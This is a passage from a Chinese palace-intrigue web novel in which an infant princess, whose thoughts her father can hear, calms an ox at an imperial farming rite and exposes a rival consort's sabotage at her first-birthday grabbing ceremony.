姜肃迅速向宫内递了牌子,请求面见父皇。
御书房内,皇帝看着下方神色凝重的儿子,淡淡道:“你这样子,是为了近日市井流传的那些无稽流言?”
姜肃叩首:“父皇明鉴!流言恶毒,中伤稚儿,儿臣身为父亲,心痛如绞。稚儿年幼,何其无辜!儿臣恳请父皇,为稚儿做主!”
皇帝姜诚沉默片刻,然后才缓缓道:“朕已经命赵德全去查了。只是流言如风,难以根除,你想朕怎么做?”
姜肃抬起头,目光坚定:
“父皇,虽说清者自清。然稚儿蒙父皇亲封‘镇国’二字,这代表的是皇家颜面,亦关乎朝廷威信。儿臣恳请父皇,先农坛祭祀,准许稚儿随驾!”
皇帝闻言,眼中闪过一丝讶异:“让她去?她才多大?”
“正因稚儿年幼,其‘福’才纯粹。”姜稚诚恳道。
“稚儿蒙老天眷顾,福泽深厚,其‘福’在于启发民智,惠及苍生。儿臣近日感念稚儿纯真,在农事上小有所得,或可于祭祀后,请父皇一并御览。”
“若天意果真眷顾稚儿,眷顾我大晟,必使万民得见其祥瑞。届时,一切流言,不攻自破!无耻宵小也将无所遁形!”
姜肃没有保证一定会有“祥瑞”出现,但他相信,父皇能明白他的意思。
这是一场赌上自己未来前途和命运的豪赌!
赌的是父皇对现在的自己的几分看重,也赌的是父皇对“福星”之说的那几分相信。
皇帝凝视着下方目光灼灼的儿子,又仿佛透过他,看到了那个屡次带来“意外之喜”的小孙女。
“准!”皇帝金口一开,掷地有声,“传旨,朕参见先农坛祭祀当天,准镇国安宁公主相伴同行!共祈丰年,以正视听!”
消息传出,朝野瞩目。
所有人都明白,此次先农坛之行,将不
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仅是一场祭祀,更是一场决定“镇国福娃”之名能否立足,乃至影响朝局走向的公开较量。
雍王府内,姜肃将女儿高高举起,状似无意间告诉女儿,将带她一起出席先农坛祭祀的喜事。
小姜稚感受着父亲的决心和期盼,心下感动,也发出清脆悦耳的笑声。
【对!就是这样!先农坛之行来临之际,就是本公主正式从幕后走向台前之时!】
【到时咱们就用事实宣告,我这‘镇国福娃’的名号,不是空名,而是能带来丰收、福泽万民的真实存在!】
【爹爹,到时我们就携手,一起把那些魑魅魍魉的嘴脸都打肿!】
听着女儿豪气万丈的心声,姜肃也是朗声大笑。
夜色渐深,听竹轩内依旧灯火阑珊。
林月瑶已经将熟睡的女儿轻轻放入铺着软绸的摇篮里,动作轻柔得如同对待稀世珍宝。
她纤细的手指为女儿掖好被角,久久凝视着女儿粉雕玉琢的睡颜,眼中是化不开的忧虑。
姜肃看着妻子这般模样,走上前,轻轻揽住她微微颤抖的肩膀,低声道:“阿瑶,还在担心?”
林月瑶依偎在丈夫怀中,目光却未曾离开女儿分毫,声音带着哽咽:
“王爷,妾身知道,您所做的一切,都是为了稚儿,为了这个家。只是,先农坛…众目睽睽之下,妾身实在是害怕…害怕那些恶毒的目光会伤到稚儿,害怕万一有什么闪失…”
林月瑶不敢再说下去,将脸埋入丈夫胸膛。
姜肃收紧手臂,感受到妻子的不安,心中亦是沉甸甸的。
他何尝不担心?但他更知道,退让只会让敌人更加肆无忌惮。
姜肃抬起妻子的脸,望进她盈满水光的眼眸,语气坚定无比:
“阿瑶只需相信我,相信稚儿!我们一家三口,只要同心协力,一定能闯过这道难关。”
林月瑶感受着丈夫的决然和守护,心中的慌乱渐渐被一股暖流取代。
她深吸一口气,压下眼眶中的酸涩,回握住丈夫的大手,十指紧扣,重重点了点头:
“妾身明白了。无论前路如何,妾身都会跟在王爷身后,牢牢护住咱们的女儿!”
而本应在睡梦中小姜稚却睁开了眼睛,看着父母对自己的呵护,心下感动。
这一刻,全家连心。一起准备迎接先农坛之行。
第23章 先农坛之行,福娃显神威
京郊,皇家先农坛旌旗招展,仪仗森严。
皇帝姜桓身着祭祀礼服,率领文武百官、宗室勋贵,举行庄严的秋收祭祀大典。
钟鼓齐鸣,香烟缭绕,庄严肃穆的气氛弥漫在整个祭坛周围。
与往年截然不同的是,今年祭祀大典随行的皇室成员中,多了一个小小的身影。
而在仪式开始前,大家绝大部分的注意力就已然聚焦在那个身影上——
被雍王妃林月瑶精心装扮后,抱在怀里的镇国安宁公主,姜稚。
她穿着御赐的、绣有暗金凤穿牡丹纹样的杏黄色小宫装,头戴缀着东海明珠的软帽,颈项间挂着长命百岁金锁,一身行头华贵而不失童真。
小姜稚不哭不闹,一双琉璃般纯净剔透的大眼睛,好奇地打量着这宏大的场面。
那镇定自若的小模样,在一群或紧张或肃穆的大人中,显得格外突出,仿佛她天生就该立于这权力的中心。
而她的出现,也引来了众多或明或暗的目光。
有好奇,有审视,也有如窦贵妃、吏部侍郎王珣等人的眼中毫不掩饰的冷意和等着看好戏的意味。
【哇塞!这就是皇家祭祀?好大的排场!皇帝爷爷今天看起来特别威严!不过好多人在偷偷看我啊……】
【那个窦贵妃,眼神跟淬了毒似的。还有那个人,应该是个尚书吧…怎么看都是一脸道貌岸然,心里肯定在骂街吧?】
【哼!今日我镇国福娃就要在这天下人面前,把名头坐得实实的!一定要跟爹爹一起,打赢这场**战!】
姜稚的心声带着一丝紧张,但更多的是跃跃欲试的兴奋。
这些话清晰地在姜肃脑海中回响。
姜肃站在宗室队列最前端,身姿挺拔。
虽未回头,但依旧感受到了女儿那与外表截然不同的强大“内核”。他心中瞬间充满了底气与骄傲。
他的女儿,生来便该如此耀眼!
而女儿的斗志,也让姜肃原本有些紧绷的心弦松弛了几分。
祭祀流程按部就班,庄重地进行着。
皇帝奠玉帛、献祭品、读祝文,祈求上天和农神继续保佑大晟风调雨顺,五谷丰登。
终于,到了最为核心的环节——“亲耕农田”。
这并非真正的耕作,而是皇帝手持农具,在特意划出的一小片土地之上,象征性地推犁三下,以示重农、亲农之意。
内侍早就准备好装饰华丽的农具和驯服好的耕牛。
皇帝稳步走下祭坛,来到那片精心平整过的农田前。
就在他接过农具,准备象征性地推犁之时,异变发生!
那头原本温顺的耕牛,不知为何突然发出一声低哞,前蹄不安地刨动着地面,有些躁动不安起来,还拉着犁头微微偏转了方向。
虽然旁边的内侍急忙将其控制住,但这突如其来的小插曲,依旧让庄重的仪式出现了一丝不和谐的涟漪。
在如此重要的场合,耕牛出现异常,这绝非吉兆!
这不会与那有“福娃”之称的镇国公主有关吧?往年可从来没有发生过类似的事情。
所有人的目光,不自觉地落在那个小小的身影上。
近来民间盛传的消息,大家都是有所耳闻。今日的现象难道是上天的示警?
观礼的百官中响起一阵低低的骚动。
窦贵妃的嘴角勾起一丝冷笑。王珣等人也彼此交换着意味深长的眼神。
而皇帝这边也是眉头微皱。但他还是依旧沉稳地扶住了农具,准备祭祀的下一步行动。
就在这时,被林月瑶抱在怀里的姜稚,也被耕牛的躁动吸引了注意力,她伸出小手指着那边咿呀出声,清晰地说出她人生中第二个完整的词语:
“牛牛…乖乖…”
童音稚嫩,却带着一种奇异的安抚力量,在这略显躁动的场合显得格外清晰。
更令人惊奇的是,那原本躁动不安的耕牛,在听到这声稚嫩的“乖乖”后,庞大的身躯猛地一顿,仿佛被无形的力量安抚住。
鼻息渐缓,蹄子也不再刨动,温顺地低下了头,恢复了平静!
全场瞬间一片寂静!
所有人的目光,包括皇帝在内,都惊异地投向了那个发声的小人儿。
如果说之前还有人对“福娃”之名心存疑虑,那么此刻,这活生生、发生在皇帝与百官眼前的神奇一幕,彻底击碎了所有怀疑!
眼前所发生的一切,已不是
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巧合能解释的。
这分明是上天认可的祥瑞!是镇国公主福泽深厚、能与万物沟通的明证!
而姜稚心中则是深呼一口气。
【幸好我眼尖,先一步瞥见山头有个小姑娘,一直眼里含泪地瞅着地里的那头耕牛。再看那耕牛看见小姑娘的激动劲,我猜八成那牛就是小姑娘从小养的。】
【这几日为了先农坛选定了这头牛,导致人家“主牛”分离。这牛儿看见主人难免激动...】
【我猜测,我这声音应该跟牛儿的主人差不多,幸亏当下及时出声,把牛儿稳住才没有酿成大祸…】
姜肃闻言心中激动如潮,但他强行压下。
女儿的观察入微,是她为自己挣来了绝对的主动权!
姜肃立刻抓住这千载难逢的时机。
在皇帝完成耕种仪式后,当着众人的面,姜肃上前一步,跪倒在地,声音洪亮,掷地有声,确保每一个字都清晰地传入在场所有人的耳中:
“父皇、百官见证!稚儿天真烂漫,其声纯净,竟能安抚躁畜!此乃上天所示之祥瑞!足见稚儿福泽纯粹,绝非邪祟所能沾染!“
“此前那些污蔑稚儿窃运、行邪术的龌龊流言,实乃无稽之谈!儿臣恳请父皇,严查流言源头,正“镇国”之名,安天下民心!”
皇帝看着恢复温顺的耕牛,又看了一眼无辜眨巴着大眼睛的姜稚,眼中闪过深思,随即便化为一丝了然和决断。
他原本也对市井流言将信将疑。
此刻眼前发生的一幕,以及雍王铿锵有力的话语,让他心中的天平彻底倾斜。
皇帝深吸一口气,帝王之威全面爆发,声音响彻祭坛:
“雍王所言不错。镇国公主年幼纯善,福缘天成。方才景象,众卿有目共睹。日后,若再有人散布流言,诋毁公主,一经查实,以诽谤皇室、祸乱民心论处!”
“臣等遵旨!”百官齐声应道。
经此一事,大家看向姜稚的目光更为不同,里面充满了敬畏和惊奇。
而窦贵妃和王珣等人的脸色则是难看至极。
他们万万没想到,本想看着雍王和镇国公主出丑,却反而成了对方彰显“福气”的推手。
第24章 福娃地位稳固,爹爹深入权力中心
祭祀结束后,按照雍王姜肃事先的请求,皇帝并未立刻起驾回宫,而是跟随雍王移驾至附近的皇庄上。
要去亲自看一看雍王口中“于农事上小有所得”的成果。
而当皇帝和百官们真的来到百亩实验田前时,全都被眼前的景象震撼了。
皇田的一边是采用大晟传统方法耕种的田地,庄稼长势虽是不错,但略显平常;
另一边,采用的是姜肃按照女儿所言的“代田法”。虽然已经收割,但那整齐划一的沟垄痕迹依然清晰可见。
更重要的是,旁边临时搭建的谷仓里,那堆得如小山般,颗粒饱满金黄的谷穗,以及庄头呈上的详细产量对比记录,无不昭示着这种耕种的新农法惊人的增产效果!
姜肃适时奏报:“父皇,此法乃儿臣日夜研读农书,又加之稚儿常伴儿臣身侧,受其纯净福慧之气感染,偶得灵光,方敢尝试。”
“如今看来,这些亦是托稚儿之福,才获得此等泽被苍生,惠及农事的成果。”
“此法可以保土防风,加之轮流休养土地,即可提升产量,尤以中下等田地效果更为显著。”
姜肃巧妙地将“代田法”的成功也与女儿联系起来,进一步巩固了女儿“福泽天下”的形象。
【爹爹真是时时刻刻想着我的形象…爹爹为我扛大旗,我以爹爹为荣!】
姜稚挥舞着小手,在母亲林月瑶的怀中兴奋地蹦跶着。
皇帝拿起一把金黄的谷粒,仔细看着,然后又对比了产量记录,脸上终于露出了难以抑制的喜悦之色。
作为帝王,难道他还能不清楚粮食增产意味着什么吗?
这意味着,大晟能养活更多的人口,意味着国库将更加充盈,意味着他的江山社稷会更加稳固!
“好!好一个代田法!”
皇帝龙心大悦,看着姜稚父女二人的目光简直像是在看一件绝世珍宝!
他当即下旨:
“雍王姜肃,心系农桑,躬亲实践,献此利国利民之法,功在社稷!着,即日起,于京畿地区择地推广代田法,由雍王总领其事,户部、工部协同办理!务必使我大晟粮仓,更加丰实!”
“儿臣(臣)领旨!定不负陛下所托!”
姜肃和相关的官员齐声应道。
而从这一刻起,再无人敢小觑这位曾经的“太子跟班王爷”。
他已经凭借实实在在的政绩和女儿那玄之又玄却屡屡“应验”的福气,使自己在朝堂和民间的声望达到了一个新的高度。
所有人都明白,雍王府的崛起,已势不可挡,而其核心支柱,正是那位年纪幼小的镇国公主!
回城前,皇帝破例让姜肃一家同乘御辇。
他亲自从林月瑶怀中接过姜稚,小心翼翼地抱着,感受着那小小的、却仿佛蕴含着无穷力量的身体。
“肃儿,月瑶,”皇帝语气前所未有的温和。
“稚儿乃天赐我姜氏,佑我大晟之祥瑞。你们的此女,于社稷而言功不可没。日后,也定要倾尽全力,护她周全,助她成长。相信不日,她之福运,即我大晟之国运!”
“儿臣(儿媳)谨记!”姜肃和林月瑶激动应下。
而姜肃也明白父皇的深意。
女儿福气太过,更易遭天妒人嫉,之前尚且如此,如今名声大显,想必后续还会有更多的明枪暗箭。
但无妨,他定会拼尽全力,为女儿撑起一片清朗的天,让女儿无忧无虑成长。
【皇帝爷爷这话说得有水平啊!既有肯定,又有提醒!】
【不过,本公主的目标可不是星辰大海!是要当富婆,当女将军!现在这点福气算什么,以后还会有更厉害的!】
【那接下来,是要把‘镇国福娃’的名头牢牢坐实了,紧接着就是让全天下都看到我的厉害!】
听着女儿的“雄心壮志”的心声,姜肃嘴角微微抽动,赶紧低下头掩饰。
富婆?女将军?
这丫头,志向还是这么“远大”。
不过既然女儿喜欢,那自己这个当爹爹的
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就一定尽全力满足她!
先农坛祭祀及皇庄视察之后,“镇国福娃”的名声达到了新的高度。
耕牛俯首、代田增产的事迹被传得神乎其神,姜稚“福泽深厚”、“佑护大晟”的形象深入人心。
那恶毒的流言,在皇帝金口玉言和铁一般的事实面前,彻底烟消云散,再也掀不起任何浪花。
而雍王姜肃,在献上代田法,成功推广农事后,借着镇国公主的东风,被正式赋予了实权,不再是空头王爷。
代田法的推广在姜肃的主持下,于京畿地区稳步推行,虽然过程中遇到了一些来自守旧官吏和利益者的隐形阻力。
但在皇帝明确的支持和实实在在的增产数据面前,这些阻力并未掀起太大风浪。
姜肃开始更深入地参与到朝政之中,而且凭借从女儿那里听到的超越时代的见识和权谋手腕,悄然影响着大晟的走向。
夜色中,窦贵妃摔碎了心爱的玉如意,气得生生掰断了指甲,面容扭曲:
“好一个镇国福娃!好一个雍王!本宫倒要看看,你们的福气能护你们到几时!”
而吏部侍郎王珣府中,几位世家核心人物正在秘议,气氛凝重。
“雍王崛起太快,而且没有任何要依附世家的意思,已经威胁到吾等的根本。必须想法遏制。”
“可以从其软肋下手。那个安宁公主,看起来是他的“福”,也将会是他最大的‘弱点’…”
“还有那批神秘的优质盐源,必须查清楚!否则这盐政的油水也算到头了!”
......
风暴并未平息,只是在更深的暗处酝酿。
而这风暴中心的“镇国福娃”姜稚,对此却浑然不觉,她正忙着攻克她人生的下一个重要里程碑——独立行走。
她摇摇晃晃地迈出一步,两步...然后扑进父亲和母亲温暖的怀抱,发出银铃般的笑声。
前方的道路或许布满荆棘,但雍王府内,温馨满溢,与外界风云形成鲜明对比。
第25章 玉如意上做手脚?
先农坛之事后,“镇国福娃”姜稚的名声如日中天,连带着雍王姜肃在朝中的地位也愈发稳固。
雍王府看似风光无限,但姜肃心中的那根弦却从未放松。
他深知,窦氏等世家及太子的残余势力绝不会善罢甘休,他们就如同隐藏在暗处的毒蛇,随时可能发动致命一击。
他必须抓紧一切时间,积蓄力量。
转眼间,到了镇国安宁公主姜稚的周岁生辰。
皇室嫡系子女的周岁宴本就备受关注,更何况是这位名声在外的“福娃”。
皇帝早早就发话,要在宫中为小公主举办隆重的周岁宴和抓周礼。
窦氏一族与世家集团深感危机,更是将周岁宴视作反击的关键战场。
周岁宴当天,皇宫内苑锦绣铺地,宾客云集,之前雍王府内举办的满月宴的规格和规模根本无法与之相比。
帝后皆出席,诸位皇子公主、宗室子弟,朝廷重臣也济济一堂,可谓极尽荣宠。
姜稚被打扮得如同年画上的福娃娃。
身着正红色绣金凤宫装,颈项上挂着一枚请高僧开光、能避百毒的玲珑玉锁,端的是玉雪可爱,贵气逼人。
她被雍王妃林月瑶抱在怀里,面对满殿的宾客和喧嚣,丝毫不怯场。
乌溜溜的大眼睛四处张望着,偶尔咿呀两声,引得众人喜爱不已。
【哇,我的周岁宴竟然来了这么多人!比上次宫宴还热闹!】
【不知道抓周的时候会准备些什么东西?按照套路,笔墨纸砚、刀枪弓箭、金银元宝、胭脂水粉什么的,肯定是少不了吧?那我抓点什么才能给爹爹长脸呢?】
姜稚的话一字不差地落进了姜肃的耳朵里。
姜肃听了,心里简直乐开花。
真不愧是爹爹的小棉袄,抓周宴还想着要给爹爹长脸!
【今天这场合,窦贵妃和其他那些老狐狸,会不会还要作妖!我得打起十二分精神!不过,爹娘给我的这个小玉锁凉丝丝的,戴着还真挺舒服。】
这番话瞬间让姜肃心中警铃大作。再看向众人的眼中多了一丝的警惕。
今天可是女儿的大日子,绝对不能让那些奸佞之徒,坏了女儿的好事!
姜肃紧紧跟在王妃林月瑶的身边,小心翼翼地护着母女二人。
而姜肃的行为落在旁人眼中,自然是说他们夫妻二人感情浓厚,引得在场的女眷羡慕不已。
抓周礼即将开始,镶玉紫檀木大案上,早就铺上了明黄色的锦缎,上面琳琅满目地摆放着各式象征不同前程的物件:
代表文采的毛笔、书卷;代表武略的小弓、木剑、兵符;代表富贵的金元宝、银票、玉算盘;代表权力的官印;还有代表女红的绣绷、胭脂和剪刀…
林林总总,不下数十样,皆做工精巧,寓意吉祥。
帝后端坐上方,笑容满面。
窦贵妃坐在下首,脸上虽也带着笑,但眼神却毫无暖意。
林月瑶将姜稚轻轻放在案几中央。
小家伙坐在柔软的锦缎垫子上,眼睛亮晶晶地看着周围的物件。
就在司礼监太监准备宣布抓周礼开始之时,窦贵妃突然笑着开口:
“陛下,臣妾瞧着,这些物件虽好,却少了些新意。”
“镇国公主灵慧非凡,寻常之物怕是难以测其福缘深浅。臣妾特意寻来一柄前朝贤后曾用过的‘慧心如意’,可否一并添上?如若公主选中,也可让我等沾沾古之贤后的福泽?”
窦贵妃话音刚落,身旁宫女便捧上一柄玉质温润、雕工精湛的玉如意。
那如意是羊脂玉所制,玉里闪着一点春水翠,九道弯上金砂点点。
如意顶端的福字玛瑙红得透亮,柄尾两滴金珀如露水一般,微风一过,似乎要滴下来似的,贵气逼人。
此物一出,众人皆赞叹不已。
皇帝颔首允准:“贵妃有心了。”
那玉如意顺势便被放在了案几显眼处。
【啧,黄鼠狼给鸡拜年!这如意看着是好看,但我怎么感觉有点不对劲?】
姜稚满心疑虑地打量着那柄玉如意。
有微风从玉如意的方向飘过,伴着一股微香一起滑到
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姜稚的鼻腔。
【怎么好像有股极淡的、甜腻腻的味道…这不是‘惑心草’的味道吗?这玩意儿闻久了会让人心神恍惚,容易躁动!】
【多亏我之前有个教授是个草药迷,每次古书里有什么涉及迷香的草药,都要好奇找出来,再按照古籍记载把相关的迷香做出来,然后还让大家‘品鉴’!其实就是找小白鼠!】
【想当年,有多少同学遭受了这个教授的毒手,就连我也不例外...】
【这窦贵妃她想干嘛?之前的教训是真的没记住啊!这是让我在抓周时失态哭闹,让我砸了我自己场子?】
【这下我算是明白了!怪不得找了前朝贤后用过的玉如意!原来打的是这个主意…】
【有前人的福泽加持,我却哭闹不休,这窦贵妃就可以顺势说我根本无法承受福气和皇恩,接着再说起我‘安抚耕牛’只是巧合,甚至可以借机污蔑,当时的我说不定是受邪祟入体,才能与牲畜对话!】
【真是歹毒他妈给歹毒开门,歹毒到家了!】
姜稚的心声带着震惊和愤怒,而姜肃的眼神则瞬间冰冷!
果然!窦贵妃还是出手了!
他立刻上前一步,躬身道:
“父皇!贵妃娘娘厚爱,稚儿本不该推辞。只是此物既是前朝贤后遗泽,意义非凡。稚儿年幼,若不小心磕碰损毁,反为不美。”
“况且稚儿乃父皇亲封‘镇国’公主,福缘自有天定,何须借前朝之物彰显?儿臣以为,还是以本朝祥瑞之物为宜,方显我大晟气象。”
姜肃言辞恳切,既点出贵重物品易损的风险,又巧妙地将“前朝”与“本朝”对立起来,隐含**意味。
皇帝闻言,若有所思地看了窦贵妃一眼,淡淡道:“雍王所言有理。便依你之言,将玉如意收起来吧。”
窦贵妃脸色一白,勉强笑道:“都是臣妾考虑不周,请陛下见谅。”
接着就赶忙吩咐人,将玉如意撤下,心中却已是恨极。
这姜肃竟如此警觉!
第一局,窦贵妃败。
第26章 抓周宴上,姜稚手握“乾坤”
抓周礼正式开始。
姜稚被放在案几中央,目光扫过琳琅满目的物件,一直在犹豫。
【这东西实在是太多了!选哪个好呢?】
【金元宝?俗气!胭脂水粉?本公主可是要干大事的人!】
【毛笔书卷?嗯,倒是符合我文化人的身份,但是不够霸气…】
【官印?这个不错,代表权力!】
在众人期待的目光中,姜稚开始爬动。
她先是好奇地摸了摸触手可及的金元宝,又扒拉了一下玉算盘,然后目光似乎被一方小巧的官印吸引,有意向前。
不少支持雍王或者看好小公主“福气”的官员都暗暗点头。
【等等,那个角落里的胭脂盒,边缘颜色好像跟其他地方不太一样?有点发暗?】
【还有那个小弓的弦,是不是绷得太紧了点?怎么感觉一碰,可能就会断掉弹出来!好家伙!要不是我眼神好……不对,是知识储备够,差点着了道!】
【这帮人的花样怎么这么多!】
姜稚一边爬行着,一边观察着周围抓周的物件,点出了其中好几个有问题的东西。
姜肃的心则是提到了嗓子眼!
这群人竟然还有后手!而且更加隐蔽阴险!
那胭脂盒自不必说,肯定是放了什么不干净的东西!
而那小弓更是歹毒!
若在抓周时弓弦崩断,说不定会惊吓到孩子。
小弓箭虽说张力不大,但若是被稚儿选中,不小心发射出去,射到在场的任何一个人,这抓周的幸运就会被血光之说玷污。瞬时变得不吉利不说,还有碍福娃的名声。
如若不偏不倚射到父王…后果将不堪设想!
但姜肃不能直接阻止,那样会显得刻意。
就在姜稚的小手在众多物品中寻觅时,一只飞蛾突然飞过,旁边侍立的一个小宫女似乎“不小心”被吓到,惊呼一声,接着,整个人“不受控制”般向案几扑去。
宫女的目标直指姜稚和那堆抓周物品,显然是想制造混乱。
她要么是准备让姜稚受到惊吓大哭,要么是碰翻物品,让抓周无法进行,甚至可能让那被动过手脚的胭脂或小弓伤到孩子!
电光火石之间,一直紧绷着神经、暗中得到姜肃示意的王妃林月瑶反应极快!
她冲上前挡住女儿,一个侧身,用肩膀轻轻挡了那宫女一下,同时脚下巧妙一绊。
“哎哟!”
那宫女收势不及,在离案几和姜稚差了一尺多远的地方,被绊倒在地。
“大胆奴婢!御前失仪,惊扰公主!”
赵德全立刻厉声喝道,马上就有侍卫上前,将那面如死灰的宫女拖了下去。
这一变故发生在瞬息之间,许多宾客尚未看清,危机已然解除。
【哇!娘亲威武!这反应太快了!这下看这群人还有什么花样!】
姜稚心中欢呼起来。
经此一扰,她似乎对官印也失去了兴趣,一把抓起了官印旁那个不起眼的、黑黢黢的小木盒。
那木盒材质普通,并无雕饰,混在一堆金光闪闪的物件里十分不起眼,众人之前都未过多留意。
姜稚费力掰开小木盒的搭扣。
只见里面并非什么奇珍异宝,而是几枚式样古朴、颜色暗沉的铜钱,还有一小卷看起来像是地图的残片。
众人看着里面拿出的东西,也皆是一愣。
这抓周礼上准备的东西,怎么会混入如此朴实无华、甚至有些破旧的古物?
这也实在算不得象征吉祥如意的东西。
而皇帝在看到姜稚选中的东西后,眼中快速闪过异色。
这小木盒,并非内务府准备,而是他一时兴起,命赵德全放入其中的。
里面是几枚大晟开国初期流通的“晟世通宝”,以及一份偶然得来的,据说是前朝秘藏地点的残图。
原本他只是想当个趣物,没想到竟被这小孙女一眼选中!
【铜钱?地图?这组合有点意思啊!】
【铜钱代表财富,那这地图是不是代表疆土和探索?】
【难道预示着我以后会是个发现宝藏、富可敌国的探险家?】
姜稚摆弄着手里的东西,心里十分好奇。
“这…”
司礼太监有
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些不知所措,他也是第一次遇到这种情况,一时不知如何应对。
姜肃心中打着草稿,准备为女儿开口辩驳一番。
窦贵妃眼中则闪过一丝得意,正准备开口说些“公主志趣清奇”之类的风凉话。
王珣也捻须,似要点评。
皇帝却哈哈大笑起来,声音中带着难以言喻的畅快和深意。
“好一个镇国安宁公主!不慕虚华,直指根本!这铜钱乃民生之基,财富之源;地图乃疆域之象,开拓之志!朕的孙女,这是心系天下财富,志在**河山啊!”
“此乃大吉之兆!大吉之兆!”
皇帝金口一开,原本有些尴尬的气氛,瞬间逆转。
“陛下圣明!公主殿下洪福齐天,佑我大晟!”立刻有机灵的官员出声附和。
“是啊是啊!公主殿下抓此二物,正合‘镇国’之名,寓意财源广进,疆土永固!”
众人纷纷称赞。
窦贵妃和王珣等人彻底哑火,脸色灰败。
他们精心设计的局,不仅被一一化解,而且,谁能料想到,小丫头随手抓的破铜钱和烂地图,能让陛下亲口出言解读出如此祥瑞之意!
这安宁公主的运气,难道真的逆天了吗?!
“传朕旨意!镇国公主周岁祥瑞,感应国运,功在社稷!赏黄金万两,东海明珠十斛,蜀锦百匹,另赐公主府邸一座,待其成年**住!”
然后,皇帝别有深意地看了雍王一眼,接着道:“雍王教女有方,加封食邑千户,赐金牌一面,可随时入宫觐见!”
王珣和谢太师听了旨意后,交换了一个眼神,彼此都看到了对方眼中的凝重。
抓周礼圆满结束,镇国安宁公主姜稚“不爱红妆爱乾坤”的抓周经历,又为她的福娃外衣上追加了浓墨重彩的一笔。
宴席过后,皇帝单独留下了姜肃。
而长春宫内,窦贵妃在宫中砸碎了第二套心爱的瓷器后,面目狰狞:“查!给本宫查清楚!那小贱种到底是真的有鬼,还是雍王府背后有高人指点!”
紧接着,又是一片噼里啪啦的脆响。
第27章 雍王府进阶变化
御书房内,气氛不似宴席上轻松。
铜鹤灯里的烛火被银剪轻轻一挑,“啪”地爆出一粒火星,在静得能听见心跳声的御书房里显得格外清晰、清脆。
“肃儿,稚儿今日所抓之物,你怎么看?”皇帝摩挲着茶杯,看似随意地问道。
姜肃心中一凛,不敢抬头,目光落在眼前的地面上,沉吟片刻,谨慎答道:
“回父皇,稚儿年幼,无非是觉得新奇罢了。父皇点破其中寓意,儿臣细思,才发觉里面的深意…”
“财富与疆土,确为国之根本。儿臣近日协理农事,更深感钱粮之重。若国库充盈,则百业可兴,万民可安,边疆可固。”
他没有直接夸耀女儿,而是将话题引向了国政,表达了自己的思考。
回答完之后,姜肃悄悄抬眼,看见父皇拇指摩挲着杯沿,似在思考。
过了半晌,才见父皇点了点头,似乎对他的回答还算满意。
但话锋却随即一转:“朕听闻,你那“通达商行”,生意做得不小?南来北往,似乎颇有些手段。”
姜肃心头一跳,知道父皇果然注意到了商行。
他稳下心神,坦然道:
“儿臣不敢隐瞒。儿臣确有一家商行。初衷是为贴补王府用度,并借此体察民情商路。儿臣深知,皇子行商恐惹非议,故一直谨小慎微,绝不敢仗势欺人,亦不敢与民争利,所有经营皆按律纳税。”
姜肃态度诚恳,既承认了事实,又表明了初衷和原则。
皇帝盯着他看了半晌,才缓缓道:“你知道分寸便好。”
接着放下手中的茶碗。
瓷底与面前的龙案接触,发出清脆一响,“记住!你是大晟的皇子,莫要忘了根本。财富虽好,终是外物。权力和责任,才是你真正该看重的东西。”
“儿臣谨记父皇教诲!”
姜肃躬身应道,背后却惊出一身冷汗。
父皇的意思他听明白了,这是在警告他,不要过于沉迷商贾之事,更要摆正自己的位置。
“嗯,”皇帝挥了挥手,“去吧。好好教养稚儿,也好好办你的差使。”
“儿臣告退。”
退出御书房,姜肃长长舒了一口气。
与父皇的每一次对话,他都感觉如同在刀尖上跳舞。
姜肃明白,自己看似风光,实则处境微妙。
父皇的信任和支持并非毫无保留,他必须展现出足够的能力和价值,同时又不能过于锋芒毕露,引起猜忌。
回到雍王府,姜肃将宫中经历细细说与王妃林月瑶听。
林月瑶抱着已经睡着的女儿,轻声道:“王爷,妾身总觉得,这些时日,过得如同走在悬崖边上,一刻也不敢放松。”
姜肃握住妻子的手,目光坚定:“阿瑶,开弓没有回头箭。既然走上了这条路,我们就只能向前。为了你,为了稚儿,也为了我们自己,咱们必须走下去,而且要走得稳,走得远!”
他看向女儿恬静的睡颜,心中暗道:“稚儿,爹一定会为你,撑起一片足够高的天空,让你可以自由翱翔!”
而此刻,遥远的北疆,春寒料峭。
姜寒川刚刚击退了一波匈奴的骚扰,回到军营。
他收到了“通达商行”送来的最新一批物资。
除了惯常的药材衣物,还有一封密信。
信中提到了京城近况,尤其是小公主周岁抓周的“祥瑞”,以及皇帝对雍王若有若无的提醒。
姜寒川冷峻的脸上看不出表情。
放下信笺,走到帐外,望向南方,目光似乎穿透了千山万水。
京城的风云,似乎越来越有趣了。
那个素未谋面的小侄女,还有那位似乎与以往截然不同的三皇兄…
或许,他回归京城的日子,并不会太遥远了。
他现在需要更强大的力量,更需要看清那边的棋局。
而“通达商行”这条线,或许能成为他未来落子的关键之一。
......
时光荏苒,五年光阴如白驹过隙。
当年的“镇国小福娃”姜稚,如今已经长成了一个粉雕玉琢、灵气逼人的六岁女童。
她继承了自己爹娘容貌的优点,眉眼精致如画,一双黑曜石般的大眼睛仿佛会说话,灵动非凡。
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在雍王夫妇精心的养育和她自己超越年龄的灵魂加持下,姜稚不仅早早开智,识字读书的节奏更是远超同龄人。
她的言谈举止间更是时常流露出一种与年龄不符的沉稳和洞察力,令人感叹着“福娃”的与众不同。
这五年间,朝堂格局也发生深刻变化。
雍王姜肃凭借“代田法”推广的巨大成功,加上又妥善处理了几次地方灾情...日渐成熟的政事能力,让他从昔日的闲散王爷,一跃成为了入主中枢,参与政务的实权者。
如今更是深得皇帝信赖,隐有“隐形储君”的势头。
而镇国安宁公主姜稚的“福娃”之名,也随着她年岁渐长,周围人对她身上那些玄乎祥瑞的敬畏,逐渐转变成对她聪慧、灵秀的赞誉。
姜稚偶尔会随父亲一起入宫。
有时在皇帝面前说出的几句天真烂漫的“童言稚语”,往往能暗合圣心,巧妙化解在场人的尴尬。
此举更坐实了她“福慧双修”的名头。
然而,只有姜肃和林月瑶知道,他们宝贝女儿的“慧”,远超外人想象。
她不仅过目不忘,学东西很快,更时常在看似无意的玩耍或“梦话”中,蹦出一些令人拍案叫绝的点子。
这些点子,或关于朝局,或关乎经济,甚至有时在军务上,姜稚也有自己独到的见解。
姜肃早已习惯并依赖于从女儿的心声中汲取智慧和方向,女儿已经成为他不可获取的“智慧囊”。
这五年,雍王府的暗中力量也在飞速膨胀。
清水洼盐矿已成为一个运作成熟,高度保密的地下产业。
产出的优质盐,通过“通达商行”错综复杂的贸易网,源源不断地转化为财富和资源。
而商行的足迹已经遍布大江南北,甚至开始尝试与西域、海外进行贸易,为雍王府积累着惊人的资本和人脉。
但姜稚并不满足雍王府的现状。
